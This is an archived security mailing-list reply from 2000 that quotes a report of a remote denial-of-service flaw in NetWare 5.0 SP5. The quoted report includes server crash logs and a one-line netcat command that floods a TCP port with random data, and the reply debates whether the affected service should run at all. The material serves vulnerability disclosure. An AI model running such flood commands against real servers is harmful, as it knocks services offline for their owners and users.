OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Subject: Re: Remote Denial Of Service -- NetWare 5.0 with SP 5
From: Conrad Wood (conradCONRADWOOD.NET)
Date: Thu Jul 13 2000 - 04:21:50 CDT

40931 is Netware/IP why should that run on NW5???
If you are using "compatibilty mode" - that`s not a supported service and
according to novell should not be used in a production enviroment.
similar to an *experimental dhcp server* on linux ;)

Dimuthu Parussalla wrote:

> Remote Denial Of Service -- NetWare 5.0 with SP 5
> --------------------------------------------------------------
>
> I encounter a buffer overflow bug in NetWare 5.0 with service pack 5. After
> few minutes after the attack server issue a memory allocation error.
>
> 10-07-2000 12:29:53 pm: SERVER-5.0-4631 [nmID=1001C]
> WARNING! Server XXXXX experienced a critical error. The offending
> process was suspended or recovered.
> However, services hosted by this server may have been affected.
>
> I continued the attack another 1/h hr or so. then server issued a Abend
> error and hangs.
>
> 10-07-2000 12:29:53 pm: SERVER-5.0-4631 [nmID=1001C]
> WARNING! Server XXXXX experienced a critical error. The offending
> process was
> suspended or recovered. However, services hosted by this server may
> have been affected.
>
> ATTACK INFO
> -----------------
>
> Using a linux server connected to the same network. I did the following
>
> [roottik /root]# cat /dev/urandom |nc 192.168.1.15 40193
>
> NetWare TCP port 40193 doesn't handle frag TCP packets as well. using isic I
> got the same results
>
> FIX
> -----
>
> No FIX yet